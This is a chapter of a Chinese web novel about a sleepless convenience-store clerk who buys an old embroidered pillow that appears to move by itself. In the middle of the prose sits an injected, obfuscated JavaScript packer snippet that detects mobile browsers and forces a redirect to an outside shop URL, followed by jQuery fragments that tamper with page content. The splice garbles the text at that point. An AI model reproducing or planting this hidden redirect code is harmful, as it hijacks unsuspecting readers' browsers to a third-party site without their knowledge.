凌晨三点四十七分，日光灯嗡嗡响。
左边那根灯管两天前就坏了，剩下的这根撑着整个便利店的照明，发出一种细小的、持续不断的振动声。不是那种让人烦躁的噪音，更像一只飞不远的虫子被困在灯罩里，翅膀扇累了，但还在扇。
沈鹿栖靠在收银台后面，两只手插在围裙口袋里，盯着那根灯管。
她数过。从晚上十一点到早上七点，这根灯管大概会响两万八千多次。不是精确数字，是她根据振动频率估算的。她什么都会数。货架上矿泉水的瓶数（四十八瓶，今天卖了三瓶，补了两瓶，现在四十七），冰柜压缩机每隔十一分钟启动一次，每次运行四分半钟，然后安静下来，等下一个循环。
窗外偶尔有车经过，车灯从左边的玻璃照进来，在天花板上拉出一道弧光，很快消失。她也数车。三点到现在，七辆。
不数的话，时间就变成一滩没有形状的东西，把她整个人泡在里面。泡久了，骨头会软。
收银台角落里放着她的手机，屏幕暗着。她不看也知道上面显示什么——一个app，功能很简单，打开以后只有一个数字，每天自动往上跳。今天的数字是1096。
一千零九十六天。三年又一天。
她没有打开手机看。看了一眼天花板上的灯管，又看了一眼窗外。远处有个人在遛狗，凌晨四点遛狗，大概也是睡不着的人。狗很小，在路灯底下跑来跑去，影子忽长忽短。
仓库的门响了一下，温辞探出半个身子。她穿着便利店的工作服，围裙系得歪歪扭扭，头发随便扎了个马尾，有几缕掉在脸旁边。她手里拿着一盒关东煮，竹签戳着一个鱼豆腐，冒着热气。
"沈鹿栖！"她嗓门不小，凌晨四点的便利店就她们两个人，但她说话的音量好像对面还坐着十个顾客。"你又不吃宵夜？"
"不饿。"
"你上一次说饿是什么时候？"
沈鹿栖想了想。没想起来。
温辞把关东煮的盒子往收银台上一放，竹签戳的鱼豆腐晃了两下。"我给你放这儿了。凉了不好吃。"
"嗯。"
温辞看了她一眼，嘴巴张了一下，又闭上了，转身回仓库了。仓库门关上之前，沈鹿栖听到她小声嘀咕了一句什么，没听清。
大概又是"你怎么又不吃"之类的话。
温辞是好人。沈鹿栖很清楚这一点。她是那种会把同事硬拽去吃宵夜的人，会在你发呆的时候突然凑过来说"你脸色好差要不要请假"，会在你拒绝了她三次以后第四次继续问。但温辞不会追问"你为什么不吃饭"或者"你是不是有什么事"。她关心人的方式是塞东西，不是挖原因。
沈鹿栖不讨厌她。只是没有力气回应。
她低头看了一眼收银台上的关东煮。鱼豆腐的热气已经散了大半，竹签上凝了一层薄薄的油。她把盒子推到一边，没吃。
手机屏幕亮了一下，是app的推送通知。她扫了一眼：「您已连续失眠1096天，建议您咨询专业医生。」
她把手机翻了个面，屏幕朝下。
---
早上七点，交班。
温辞换好衣服出来，看到沈鹿栖还站在收银台后面，围裙没解，手里拿着一本什么杂志在翻。杂志是货架上卖的那种，封面是一个笑得很假的女明星，标题写着"七个让你一夜好眠的秘诀"。
温辞走过去，看了一眼封面，又看了一眼沈鹿栖。
"你要买这本？"
"不买。随便翻翻。"沈鹿栖把杂志放回架子上。
"走吧，我请你吃早餐。门口那家油条不错。"
"不了。我回去睡。"
温辞的嘴角动了一下。她知道沈鹿栖说的"回去睡"大概率是"回去躺着等天黑"。但她没拆穿，只是点了点头，背着包走了。
沈鹿栖看着她的背影出了便利店的门，拐过街角，消失了。
她解下围裙，叠好，放进柜子里。拿起自己的包，检查了一遍：钥匙、手机、钱包、耳机。耳机是那种老式的有线耳机，线缠在一起，她花了几秒钟解开。
出门的时候，太阳刚出来不久。光是那种很淡的橙色，照在街道上，把所有东西都染了一层薄薄的暖色调。早餐摊已经支起来了，蒸笼里的热气往上冒，空气里弥漫着一股油条面团在滚油里膨胀的气味。环卫工在扫地，竹扫帚划过柏油路面，发出沙沙的声响。远处有鸟叫，听不出是什么鸟，叫声断断续续的，像在试嗓子。
沈鹿栖走在人行道上，步子不快。她把耳机塞进耳朵里，没放音乐，就是塞着。有线耳机的好处是，它会在你和世界之间拉一条很细的线。线的这头是你，那头是噪音。你听到噪音，但噪音不会碰到你。
她拐进回家的路。这条路她走了三年，闭着眼睛都能数出从路口到楼下有多少块地砖（一百三十七块，有一块裂了，裂纹像一条干掉的河）。
路过一条旧巷子的时候，她停了一下。
不是主动停的，是脚自己停的。
巷口有一家杂货铺，门面很旧，招牌上的字褪得只剩一个模糊的轮廓。门口堆着各种各样的东西：旧台灯、缺了盖的茶壶、一摞发黄的杂志、几只不成对的鞋。像一个人把家里的杂物全倒出来，倒在门口，然后忘了收。
杂物堆里有一只枕头。
荞麦皮的。枕套是那种老式的棉布，洗过很多遍，颜色已经从白变成了灰黄。枕面上绣着一朵花。
花绣得不好。针脚歪歪扭扭，有的地方线头没藏住，露在外面，像草从石缝里钻出来。花瓣的大小也不均匀，左边那片比右边那片大了一圈。颜色本来大概是粉的，现在褪成了一个说不清楚的浅色。
但不知道为什么，那朵花让沈鹿栖停下了脚步。
她没有想买。她只是站在那里，看着那朵花。看了大概有半分钟。
然后脚又自己动了。她走进了杂货铺。
店里很暗，东西堆得到处都是，过道窄得只能侧身走。柜台在最里面，一个老太太坐在柜台后面的藤椅上，面前摆着一壶茶。茶壶嘴上有一圈茶垢，颜色很深，像长了苔藓。
沈鹿栖走到柜台前，指了一下门口那堆东西里的枕头。
"那个多少钱？"
老太太抬起眼皮看了她一眼。眼神不算友善，也不算冷淡，就是那种做了一辈子生意的人看顾客的眼神——快速评估你要什么，值不值得她站起来。
"二十。"</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814702|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
沈鹿栖掏了钱。老太太接过钱，没找零，继续喝茶。
她转身往外走，走到门口的时候，老太太在身后开口了。
"那枕头比我年纪都大。"
沈鹿栖回头看了一眼。老太太已经低下头了，对着茶壶，像那句话不是对她说的。
她把枕头夹在胳膊底下，走了。
---
回到家。
房间不大。一张床占了将近一半的面积，床单是深灰色的，叠得不太整齐。床头柜上放着一盏台灯、一个水杯、一包纸巾。衣柜在床对面，柜门没关严，露出一角衣服。窗户很小，窗帘是那种遮光的厚布料，常年拉着，房间里永远有一种昏暗的感觉。
沈鹿栖把枕头从胳膊底下抽出来，随手扔在床上。扔在左边，靠墙的那一侧。
枕头落在床单上，发出一声闷响。荞麦壳在枕套里面沙沙地动了一下，像有人在里面翻了个身，然后安静下来。
她站在床边，看了枕头两秒钟。枕面上那朵歪花朝上，花心正好对着天花板。
然后她拿了换洗衣服，去洗澡。
浴室很小，转个身都费劲。热水从花洒里冲下来的时候，她闭了一会儿眼睛。不是睡着，是眼皮太重了，撑不住，索性让它合上。热水顺着头发流下来，经过后颈、脊背、小腿，最后流进地漏。地漏的盖子有点松，水流过去的时候会发出一种咕噜咕噜的声音。
她闭着眼睛站了大概三分钟。然后睁开，关水，擦干，换衣服。
头发没吹，湿着就出来了。走到床边的时候，她低头看了一眼。
枕头换了位置。
她明明扔在左边，靠墙。现在在正中间。端端正正的，长边和床沿平行，歪花朝上，像有人专门量过距离，摆好了等她。
沈鹿栖盯着枕头看了十秒钟。
房间里没有别人。门锁着，窗户关着，窗帘拉着。她走之前是什么样，回来以后除了枕头的位置变了，其他什么都没动。
她伸手摸了一下枕面。荞麦壳在手指底下沙沙响，按下去有微微的弹性，松开以后慢慢弹回来。温度正常，没有异常。
"大概是滑过去了。"她小声嘀咕了一句。
她把枕头挪回左边，挪的时候手指碰到枕面的绣花，线头刮了一下指腹。然后她关灯，躺下，把被子拉到下巴的位置。
天花板上有一条裂缝，从灯的位置延伸到窗户的方向。她数过，这条裂缝加上其他几条，一共七条。她每天晚上都数一遍，数字从来没有变过。
闭上眼睛。
脑子里没有画面，只有一些没有形状的东西在转。像水里的气泡，升上来，破掉，又升上来。
她没有睡着。
从来不会这么快就睡着。
时间在黑暗里走得很慢。她能感觉到它在走，但不知道走了多远。冰柜压缩机在远处嗡嗡响（不对，那是便利店的，家里没有冰柜），楼上传来一声很轻的响动（大概是水管），被子的边角硌着下巴（她动了一下，换了个姿势）。
然后，在某一个她数不清楚的时刻，她感觉到有什么东西正在靠近。
不是声音。不是气味。是温度。
有什么东西在靠近。